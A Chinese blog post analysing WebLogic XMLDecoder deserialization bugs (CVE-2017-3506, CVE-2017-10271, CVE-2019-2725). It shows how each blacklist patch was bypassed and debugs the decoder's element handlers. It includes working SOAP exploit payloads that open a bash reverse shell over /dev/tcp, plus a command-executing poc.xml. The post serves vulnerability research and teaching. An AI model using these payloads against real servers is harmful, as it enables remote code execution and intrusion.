xmldecoder反序列化的补丁与绕过

栏目: Java · 发布时间: 5年前

内容简介:所以很容易就能发现这洞本质并不是weblogic的问题,但是weblogic确实对其进行了修补,方法很粗暴简单来说就是限制了object标签,使其不能使用object创建指定类的实例,然而这种黑名单修补方法实在是太憨憨了,所以就有了CVE-2017-10271exp

从cve-2017-3506谈起

官方说这洞主要是web service模块的问题,那我们来动态调试一下

exp

xmldecoder反序列化的补丁与绕过
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/127.0.0.1/2333 0>&1</string>
</void>
</array>
<void method="start"/></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

看一下调用栈

xmldecoder反序列化的补丁与绕过

所以最终我们的payload会调用进行readobject反序列化

然而这个readobject确实XMLDecoder的一个方法,而这个XMLDecoder却不是weblogic特有的类而是 java 的一个通用类

所以很容易就能发现这洞本质并不是weblogic的问题,但是weblogic确实对其进行了修补,方法很粗暴

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

简单来说就是限制了object标签,使其不能使用object创建指定类的实例,然而这种黑名单修补方法实在是太憨憨了,所以就有了CVE-2017-10271

cve-2017-10271

exp

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/127.0.0.1/2333 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

我们可以看到这里我们使用了void来代替object来绕过了黑名单过滤,当然后续不止void还可以使用new关键词来代替object,不知道大家看到这exp的时候有没有疑惑,为什么void元素和new元素可以代替object呢?这是XMLDecoder的问题还是weblogic的问题?还有没有别的元素也可以被特殊处理呢?带着这些疑问上网查了一下,然而网上大部分都是你抄我,他抄你的基本都是跟踪到readobject就结束了,所以无奈之下我问了一下chybeta师傅,他给了我一个链接

https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html

xmldecoder反序列化的补丁与绕过

然而这段英文我不管是读原文还是用谷歌翻译成中文都无法理解(吃了没文化的亏),所以绝知此事还得动态调试

这里因为我已经知道问题大致出在了XMLDecoder里面,所以就把XMLDecoder拉出来单独调试了

xmlDecode

package demo.xdsec;
import com.sun.beans.decoder.DocumentHandler;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;
import java.io.IOException;

public class xmlDecode{

    public static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xdsec = new XMLDecoder(bis);
        xdsec.readObject();
        xdsec.close();
    }


    public static void main(String[] args) throws IOException {
        String path = "src/poc.xml";
        try {
            XMLDecode_Deserialize(path);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="2">
            <void index="0">
                <string>open</string>
            </void>
            <void index="1">
                <string>/Applications/Calculator.app</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="2">
            <void index="0">
                <string>open</string>
            </void>
            <void index="1">
                <string>/Applications/Calculator.app</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>

运行,弹出计算器

xmldecoder反序列化的补丁与绕过

证明我们的理论没问题,我们下断点跟一下

在readobject下断点

xmldecoder反序列化的补丁与绕过

发现其调用了parsingComplete函数,继续跟入

xmldecoder反序列化的补丁与绕过

发现调用了parse函数跟入看一下

xmldecoder反序列化的补丁与绕过

这里做了一些权限检查以后跟入

SAXParserFactory.newInstance().newSAXParser().parse

后面的调用栈比较深,大致是做了一些取xml版本,头信息的操作这里给出一个调用栈图,有兴趣的可以自己跟一下

xmldecoder反序列化的补丁与绕过

然后我们来到了关键的地方

xmldecoder反序列化的补丁与绕过

注意一下this.handlers参数,这里包含了所有元素对应的解析器

xmldecoder反序列化的补丁与绕过

假如这里我们解析的元素是array,所以我们会调用arrayElementHandler的构造函数去实例化一个 arrayElementHandler 的类对象,然后设置一些属性,在这里我们可以重点看一下

this.handler.addAttribute这一步操作也就是如果没有length属性的话则会调用父类也就是newelementhandler的addAttribute方法

xmldecoder反序列化的补丁与绕过

这里因为我们的payload是 <array class="java.lang.String" length="2"> 所以第一属性是class不是length,所以需要调用newelementhandler的addAttribute方法,我们看一下

xmldecoder反序列化的补丁与绕过

这里定义了对class属性的处理过程,也就是会返回我们通过class属性的类,ok,看到这里我们再看看object元素的处理

xmldecoder反序列化的补丁与绕过

注意这里的object依然继承newelementhandler所以,依然是调用newelement的addAttribute,所以可以获得类,这也证明的new元素本身可以代替class,然后我们再来看看void元素

xmldecoder反序列化的补丁与绕过

看到这里我们的疑惑应该解决了,也就是继承了objecthandlerelement或者newhandlerelement的元素可以代替object元素,那有人肯定有疑问为什么我们刚刚提到的array元素不行,其实我们本地测一下就能知道问题出在哪里了,我们获得的class最终会在执行endelement调用对应handler的getValueObject函数进行取值

xmldecoder反序列化的补丁与绕过

我们看看不同handler的getValueObject的实现

array

xmldecoder反序列化的补丁与绕过

object

xmldecoder反序列化的补丁与绕过

我们可以发现arrayelementhandler是使用Array.newInstance创建array的实例,而不是我们传入的类的实例

篇幅有限,这里有没有别的可替代的元素大家可以自行去看一下。

然后执行到ValueObjectImpl.create里的getvalue

xmldecoder反序列化的补丁与绕过

通过反射最终执行代码

cve-2019-2725

就在weblogic以为高枕无忧的时候,时隔两年

又出了新的绕过方式,我们来看一下最新的补丁

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if (qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if (qName.equalsIgnoreCase("class")) {
               throw new IllegalStateException("Invalid element qName:class");
            } else if (qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if (qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if (qName.equalsIgnoreCase("void")) {
                  for(int i = 0; i < attributes.getLength(); ++i) {
                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                     }
                  }
               }
               if (qName.equalsIgnoreCase("array")) {
                  String attClass = attributes.getValue("class");
                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
                  String lengthString = attributes.getValue("length");
                  if (lengthString != null) {
                     try {
                        int length = Integer.valueOf(lengthString);
                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed array length limitation");
                        }
                        this.overallarraylength += length;
                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed over all array limitation.");
                        }
                     } catch (NumberFormatException var8) {

这次重点在于把class元素也禁用了,我们来看一下classelementhandler

xmldecoder反序列化的补丁与绕过

这里我们classelementhandler继承的是stringhandler而且我们的类并不是通过属性传入的,所以可以肯定并不是我们之前的方式,但是他有一个很有意思的getValue方法,返回值就是我们传入的类,通过上面的分析,我们在一个元素结束的时候也就是endelement的方法会调用对应handler的getValueObject,这里因为classelementhandler没有getValueObject方法,所以会调用父类的getValueObject方法,也就是会调用stringelementhandler的getValueObject

xmldecoder反序列化的补丁与绕过 然后会调用classelementhandler的getValue方法,最终返回对应的类,但是这里有个问题method关键词被ban了所以只能调用该类的构造方法,并且由于array只能传入byte属性,所以我们需要一个类的构造方法接受一个字节数组并且有类似反射或者readobject的敏感操作,网上大多都是通过UnitOfWorkChangeSet这个类进行反序列化操作的 xmldecoder反序列化的补丁与绕过

明显满足要求!!!所以接下来可以利用yso的jdk7u21的或者JtaTransactionManager

总结

payload太长就不发了,有兴趣的小伙伴可以自行构造,其实xmldecoder反序列化的问题最早在2013年就被提出了,理论上在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险,并且使用黑名单来打补丁的方式始终不太靠谱,总感觉在不久的将来会出现下一个cve-xxxx-xxxx


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创新者

创新者

[美] 沃尔特 · 艾萨克森 / 关嘉伟、牛小婧 / 中信出版社 / 2016-6 / 88.00

讲述了计算机和互联网从无到有的发展历程,并为我们生动地刻画出数字时代的创新者群像。 在近200年的数字化进程中群星闪耀,艾萨克森从一个计算机程序的创造者、诗人拜伦之女埃达说起,细数了这一群站在科学与人文交叉路口的创新者,他们包括通用型电子计算机的创造者奠奇利、科学家冯·诺依曼、仙童半导体公司的“八叛逆”、天才图灵、英特尔的格鲁夫、微软的比尔·盖茨、苹果公司的乔布斯、谷歌的拉里·佩奇等。《创新......一起来看看 《创新者》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试